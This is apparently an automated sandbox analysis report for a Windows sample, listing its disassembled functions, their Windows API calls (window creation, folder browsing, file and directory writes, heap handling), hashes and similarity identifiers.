                                                                                          • Instruction ID: 87db66efce333c178885a799e057bc316407fa68a453293863d00c93a718f179
                                                                                          • Opcode Fuzzy Hash: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
                                                                                          • Instruction Fuzzy Hash: D121BB32A447450BE728CB28D8953FBB390AB88304F49493FCB5687BA1C66AD9C5C644
                                                                                          Function 00408F69 Relevance: 65.0, APIs: 32, Strings: 5, Instructions: 270windowregistrymemoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 00408E58: wcslen.MSVCRT ref: 00408E64
                                                                                            • Part of subcall function 00408E58: HeapAlloc.KERNEL32(00000000,00000000,?,00408F81,?), ref: 00408E7A
                                                                                            • Part of subcall function 00408E58: wcscpy.MSVCRT ref: 00408E8B
                                                                                          • GetStockObject.GDI32(00000011), ref: 00408FB2
                                                                                          • LoadIconW.USER32 ref: 00408FE9
                                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00408FF9
                                                                                          • RegisterClassExW.USER32 ref: 00409021
                                                                                          • IsWindowEnabled.USER32(00000000), ref: 00409048
                                                                                          • EnableWindow.USER32(00000000), ref: 00409059
                                                                                          • GetSystemMetrics.USER32(00000001), ref: 00409091
                                                                                          • GetSystemMetrics.USER32(00000000), ref: 0040909E
                                                                                          • CreateWindowExW.USER32(00000000,00000000,10C80000,-00000096,?,?,?,?,?), ref: 004090BF
                                                                                          • SetWindowLongW.USER32(00000000,000000EB,?), ref: 004090D3
                                                                                          • CreateWindowExW.USER32(00000000,STATIC,?,5000000B,0000000A,0000000A,00000118,00000016,00000000,00000000,00000000), ref: 00409101
                                                                                          • SendMessageW.USER32(00000000,00000030,00000001), ref: 00409119
                                                                                          • CreateWindowExW.USER32(00000200,EDIT,00000000,00000000,0000000A,00000020,00000113,00000015,00000000,0000000A,00000000), ref: 00409157
                                                                                          • SendMessageW.USER32(00000000,00000030,00000001), ref: 00409169
                                                                                          • SetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409171
                                                                                          • SendMessageW.USER32(0000000C,00000000,00000000), ref: 00409186
                                                                                          • wcslen.MSVCRT ref: 00409189
                                                                                          • wcslen.MSVCRT ref: 00409191
                                                                                          • SendMessageW.USER32(000000B1,00000000,00000000), ref: 004091A3
                                                                                          • CreateWindowExW.USER32(00000000,BUTTON,00413080,50010001,0000006E,00000043,00000050,00000019,00000000,000003E8,00000000), ref: 004091CD
                                                                                          • SendMessageW.USER32(00000000,00000030,00000001), ref: 004091DF
                                                                                          • CreateAcceleratorTableW.USER32(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409216
                                                                                          • SetForegroundWindow.USER32(00000000), ref: 0040921F
                                                                                          • BringWindowToTop.USER32(00000000), ref: 00409226
                                                                                          • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00409239
                                                                                          • TranslateAcceleratorW.USER32(00000000,00000000,?), ref: 0040924A
                                                                                          • TranslateMessage.USER32(?), ref: 00409259
                                                                                          • DispatchMessageW.USER32(?), ref: 00409264
                                                                                          • DestroyAcceleratorTable.USER32(00000000), ref: 00409278
                                                                                          • wcslen.MSVCRT ref: 00409289
                                                                                          • wcscpy.MSVCRT ref: 004092A1
                                                                                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004092B4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$Message$CreateSend$wcslen$Accelerator$HeapLoadMetricsSystemTableTranslatewcscpy$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundFreeIconLongObjectRegisterStock
                                                                                          • String ID: 0$BUTTON$D0A$EDIT$STATIC
                                                                                          • API String ID: 54849019-2968808370
                                                                                          • Opcode ID: 64b7048e9784f6b3a965978878b2fb0e8fb718a1bb0b3c0aee67433a202d6ab7
                                                                                          • Instruction ID: ac9e317f2143d035474ccc6d8eb2369134aae38ec411cec841dcb6eceac04435
                                                                                          • Opcode Fuzzy Hash: 64b7048e9784f6b3a965978878b2fb0e8fb718a1bb0b3c0aee67433a202d6ab7
                                                                                          • Instruction Fuzzy Hash: FC919071548300BFE7219F65DD49F9B7BE9EB48B50F00483EFA84A61E1CBB988408B5D
                                                                                          Function 00401511 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 335fileCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • WriteFile.KERNEL32(?,00000000,?,?,00000000,?), ref: 00401648
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 004057F0: wcsncmp.MSVCRT ref: 00405853
                                                                                            • Part of subcall function 004057F0: memmove.MSVCRT(00000000,00000000,?,00000000,00000000,?,?,-0000012C,?,?,00402252,00000000,00000002,00000000,00000000,00417024), ref: 004058E1
                                                                                            • Part of subcall function 004057F0: wcsncpy.MSVCRT ref: 004058F9
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                            • Part of subcall function 0040E560: RtlReAllocateHeap.NTDLL(00980000,00000000,?,?), ref: 0040E5BC
                                                                                            • Part of subcall function 0040AD45: wcsncpy.MSVCRT ref: 0040AD63
                                                                                            • Part of subcall function 0040AD45: wcslen.MSVCRT ref: 0040AD75
                                                                                            • Part of subcall function 0040AD45: CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040ADB5
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocateErrorHeapLastValuewcslenwcsncpy$CreateDirectoryFileWritememmovewcsncmp
                                                                                          • String ID: $pA$&pA$.pA$2pA$2pA$2pA$6pA$6pA$6pA$\pA$\pA$\pA$\pA$\pA
                                                                                          • API String ID: 1295435411-2952853158
                                                                                          • Opcode ID: f74ca6a30055bb3b4b7f0c97758a6a21bcfed651843c0f20eba03e435c67936c
                                                                                          • Instruction ID: 61c24dd49085b80bd1b70adcfbfbd818be60928fccba90bb55e88b0b877bbf77
                                                                                          • Opcode Fuzzy Hash: f74ca6a30055bb3b4b7f0c97758a6a21bcfed651843c0f20eba03e435c67936c
                                                                                          • Instruction Fuzzy Hash: AEB11FB1104304BED600BB62DD8297F77A9EB88708F50CD3FB144A61E2EA3DDD55962E
                                                                                          Function 00409355 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 116libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CoInitialize.OLE32(00000000), ref: 00409373
                                                                                            • Part of subcall function 0040EA90: TlsGetValue.KERNEL32(0000000D,\\?\,?,004096ED,00000104,?,?,?,00401BD6,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0040EA9A
                                                                                          • memset.MSVCRT ref: 00409381
                                                                                          • LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040938E
                                                                                          • GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 004093B0
                                                                                          • GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 004093BC
                                                                                          • wcsncpy.MSVCRT ref: 004093DD
                                                                                          • wcslen.MSVCRT ref: 004093F1
                                                                                          • CoTaskMemFree.OLE32(?), ref: 0040947A
                                                                                          • wcslen.MSVCRT ref: 00409481
                                                                                          • FreeLibrary.KERNEL32(00000000,00000000), ref: 004094A0
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskValuememsetwcsncpy
                                                                                          • String ID: $0A$P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
                                                                                          • API String ID: 4193992262-92458654
                                                                                          • Opcode ID: cbde42508be9eaa54418296cf2fcec228ecaff496ce27a8586192ba66c484795
                                                                                          • Instruction ID: dd14e0d5c7aaf6d086be5bb491997024bece532a8fadf3e5f1c49f9ab44bf52d
                                                                                          • Opcode Fuzzy Hash: cbde42508be9eaa54418296cf2fcec228ecaff496ce27a8586192ba66c484795
                                                                                          • Instruction Fuzzy Hash: 43414471508304AAC720EF759C49A9FBBE8EF88714F004C3FF945E3292D77899458B5A
                                                                                          Function 00406310 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 275COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • wcsncpy.MSVCRT ref: 00406405
                                                                                            • Part of subcall function 0040E880: TlsGetValue.KERNEL32(0000000D,?,?,00405EC5,00001000,00001000,?,?,00001000,00402F92,00000000,00000008,00000001,00000000,00000000,00000000), ref: 0040E88A
                                                                                          • _wcsdup.MSVCRT ref: 0040644E
                                                                                          • _wcsdup.MSVCRT ref: 00406469
                                                                                          • _wcsdup.MSVCRT ref: 0040648C
                                                                                          • wcsncpy.MSVCRT ref: 00406578
                                                                                          • free.MSVCRT ref: 004065DC
                                                                                          • free.MSVCRT ref: 004065EF
                                                                                          • free.MSVCRT ref: 00406602
                                                                                          • wcsncpy.MSVCRT ref: 0040662E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: _wcsdupfreewcsncpy$Value
                                                                                          • String ID: $0A$$0A$$0A
                                                                                          • API String ID: 1554701960-360074770
                                                                                          • Opcode ID: f59d57380f8462386650d730b526675ad7e9bff01cb308e942a75ae948ec079d
                                                                                          • Instruction ID: 8dd6decbfdfb2e9f9ed0212bb19f765ed94392260ea2aa670051c2f9137328dc
                                                                                          • Opcode Fuzzy Hash: f59d57380f8462386650d730b526675ad7e9bff01cb308e942a75ae948ec079d
                                                                                          • Instruction Fuzzy Hash: 27A1BD715043019BCB209F18C881A2BB7F1EF94348F49493EFC8667391E77AD965CB9A
                                                                                          Function 0040AEBA Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 91libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040E900: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E90C
                                                                                            • Part of subcall function 0040E900: HeapReAlloc.KERNEL32(00980000,00000000,?,?), ref: 0040E967
                                                                                          • LoadLibraryW.KERNEL32(Shell32.DLL,00000104,?,?,?,?,00000009,0040373D,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0040AEE3
                                                                                          • GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 0040AEF5
                                                                                          • wcscpy.MSVCRT ref: 0040AF1B
                                                                                          • wcscat.MSVCRT ref: 0040AF26
                                                                                          • wcslen.MSVCRT ref: 0040AF2C
                                                                                          • CoTaskMemFree.OLE32(?,00000000,00000000,?,00989768,00000000,00000000), ref: 0040AF3A
                                                                                          • FreeLibrary.KERNEL32(00000000,?,?,?,00000009,0040373D,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000,00404746,00000000), ref: 0040AF41
                                                                                          • wcscat.MSVCRT ref: 0040AF59
                                                                                          • wcslen.MSVCRT ref: 0040AF5F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
                                                                                          • String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
                                                                                          • API String ID: 1740785346-287042676
                                                                                          • Opcode ID: 3b5950ac527df3ef7cda72db0df74ea4b6227c4cc24e67ecc582cb497ed06186
                                                                                          • Instruction ID: 692465ff5638a5220195cb25a460cc83d5c0d74b8cd54d9d2378aa313f557f39
                                                                                          • Opcode Fuzzy Hash: 3b5950ac527df3ef7cda72db0df74ea4b6227c4cc24e67ecc582cb497ed06186
                                                                                          • Instruction Fuzzy Hash: 59210DB12483037AC121A7629C4AF6B3968DB51B95F10043FF505B51C1DABCC96195AF
                                                                                          Function 00412722 Relevance: 19.6, APIs: 13, Instructions: 74memoryregistrythreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • TlsAlloc.KERNEL32(?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000), ref: 00412732
                                                                                          • InitializeCriticalSection.KERNEL32(004186E8,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000), ref: 0041273E
                                                                                          • TlsGetValue.KERNEL32(?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000), ref: 00412754
                                                                                          • HeapAlloc.KERNEL32(00000008,00000014,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000), ref: 0041276E
                                                                                          • EnterCriticalSection.KERNEL32(004186E8,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000), ref: 0041277F
                                                                                          • LeaveCriticalSection.KERNEL32(004186E8,?,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000), ref: 0041279B
                                                                                          • GetCurrentProcess.KERNEL32(00000000,00100000,00000000,00000000,?,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000), ref: 004127B4
                                                                                          • GetCurrentThread.KERNEL32 ref: 004127B7
                                                                                          • GetCurrentProcess.KERNEL32(00000000,?,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000), ref: 004127BE
                                                                                          • DuplicateHandle.KERNEL32(00000000,?,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000), ref: 004127C1
                                                                                          • RegisterWaitForSingleObject.KERNEL32(0000000C,00000000,0041281A,00000000,000000FF,00000008), ref: 004127D7
                                                                                          • TlsSetValue.KERNEL32(00000000,?,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000), ref: 004127E4
                                                                                          • HeapAlloc.KERNEL32(00000000,0000000C,?,?,0040E6B8,0040E620,00000000,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000), ref: 004127F5
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
                                                                                          • String ID:
                                                                                          • API String ID: 298514914-0
                                                                                          • Opcode ID: 2e736260770be91d420535d1c957e5431970d5774848fb61a6feb3a44565c38a
                                                                                          • Instruction ID: 7332ff317071e0a972604479ba3dd7ff9d073507a24f1d64326450f2c9127e0c
                                                                                          • Opcode Fuzzy Hash: 2e736260770be91d420535d1c957e5431970d5774848fb61a6feb3a44565c38a
                                                                                          • Instruction Fuzzy Hash: 36210770644301BFDB119F60ED88B967FB9FB08761F14C43AF505A62A1CBB49850CB68
                                                                                          Function 00403221 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetWindowsDirectoryW.KERNEL32(00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 004032AE
                                                                                          • PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 004032B7
                                                                                          • GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 004033D7
                                                                                          • PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004033E0
                                                                                            • Part of subcall function 0040E560: RtlReAllocateHeap.NTDLL(00980000,00000000,?,?), ref: 0040E5BC
                                                                                          • PathAddBackslashW.SHLWAPI(00000000,00000000,sysnative,00000000,00000000,00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 004032E7
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                          • GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 00403414
                                                                                          • PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040341D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: BackslashPath$Directory$AllocateErrorHeapLastSystemValue$Windows
                                                                                          • String ID: sysnative
                                                                                          • API String ID: 3406704365-821172135
                                                                                          • Opcode ID: dcf8b3965b225b824d1e361c097f0450ffb78b4b70f7232e50374016482f67d3
                                                                                          • Instruction ID: e6855e8cc6b59ba75e59fbb34a632fbdfc5c60153de78cbca022c055a9fde60a
                                                                                          • Opcode Fuzzy Hash: dcf8b3965b225b824d1e361c097f0450ffb78b4b70f7232e50374016482f67d3
                                                                                          • Instruction Fuzzy Hash: 83510A75118201BAD600BBB3DC82E3F66A9EB8075CF10CC3EB144751E2EA3DD9655A6E
                                                                                          Function 0040E0C3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53librarysleeploaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryW.KERNEL32(Kernel32.dll,00000000,00000000,00000000,00000004,00000000,0040DED5,0041867C,0040E062,00000000,FFFFFFED,00000200,77355E70,0040A4F6,FFFFFFED,00000010), ref: 0040E0D1
                                                                                          • GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0040E0E6
                                                                                          • FreeLibrary.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040E101
                                                                                          • InterlockedCompareExchange.KERNEL32(00000000,00000001,00000000), ref: 0040E110
                                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040E122
                                                                                          • InterlockedExchange.KERNEL32(00000000,00000002), ref: 0040E135
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExchangeInterlockedLibrary$AddressCompareFreeLoadProcSleep
                                                                                          • String ID: InitOnceExecuteOnce$Kernel32.dll
                                                                                          • API String ID: 2918862794-1339284965
                                                                                          • Opcode ID: 5ce0d2485c1bb4decbbcb922162a80cd5c7d15fe9eeb9708d5254b12b909fa63
                                                                                          • Instruction ID: f1debd77009d833240bff916e076c3bff8506a5db62120b34ae0b3aef6ef2b9b
                                                                                          • Opcode Fuzzy Hash: 5ce0d2485c1bb4decbbcb922162a80cd5c7d15fe9eeb9708d5254b12b909fa63
                                                                                          • Instruction Fuzzy Hash: 3001D431244214FBD6201FA2DC4DFEB7B79EB45B52F10883AF501B51C0EAB85D21C66D
                                                                                          Function 00409507 Relevance: 12.0, APIs: 8, Instructions: 50threadwindowCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 00409511
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 0040951F
                                                                                          • IsWindowVisible.USER32(?), ref: 00409526
                                                                                            • Part of subcall function 0040E1F2: HeapAlloc.KERNEL32(00000008,00000000,0040DA6C,00418670,00000014,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040E1FE
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 00409543
                                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 00409550
                                                                                          • GetForegroundWindow.USER32 ref: 0040955E
                                                                                          • IsWindowEnabled.USER32(?), ref: 00409569
                                                                                          • EnableWindow.USER32(?,00000000), ref: 00409579
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
                                                                                          • String ID:
                                                                                          • API String ID: 3383493704-0
                                                                                          • Opcode ID: 68a633d90a34132dfb5e2fdbc66a21f5e6654eddc9afd13cb677bbd48b54e552
                                                                                          • Instruction ID: 39f81579f69f96c849a8792b8e2bccb0372a8aae8c011f207204c0ba92c0e649
                                                                                          • Opcode Fuzzy Hash: 68a633d90a34132dfb5e2fdbc66a21f5e6654eddc9afd13cb677bbd48b54e552
                                                                                          • Instruction Fuzzy Hash: 2E01DD321083016FD3219B7ADC88AABBBF8AF51760B04803EF446D3291D7748C40C66D
                                                                                          Function 00408EB4 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • DestroyWindow.USER32(?), ref: 00408EED
                                                                                          • GetWindowLongW.USER32(?,000000EB), ref: 00408EFC
                                                                                          • GetWindowTextLengthW.USER32 ref: 00408F0A
                                                                                          • HeapAlloc.KERNEL32(00000000), ref: 00408F1F
                                                                                          • GetWindowTextW.USER32(00000000,00000001), ref: 00408F2F
                                                                                          • DestroyWindow.USER32(?), ref: 00408F3D
                                                                                          • UnregisterClassW.USER32 ref: 00408F53
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$DestroyText$AllocClassHeapLengthLongUnregister
                                                                                          • String ID:
                                                                                          • API String ID: 2895088630-0
                                                                                          • Opcode ID: 95d800774705508cbc5b0801488b835211eb90fc9c6ab37156a63b4f6fedfd03
                                                                                          • Instruction ID: 1940c3daec6268f5e5453f2abd6c11195bb238337c9a47dace4bef07d760dbb1
                                                                                          • Opcode Fuzzy Hash: 95d800774705508cbc5b0801488b835211eb90fc9c6ab37156a63b4f6fedfd03
                                                                                          • Instruction Fuzzy Hash: 9011FA3110821AFFCB115F64ED4C9E63F76EB18365B10C17AF845A2AB0CF359951EB58
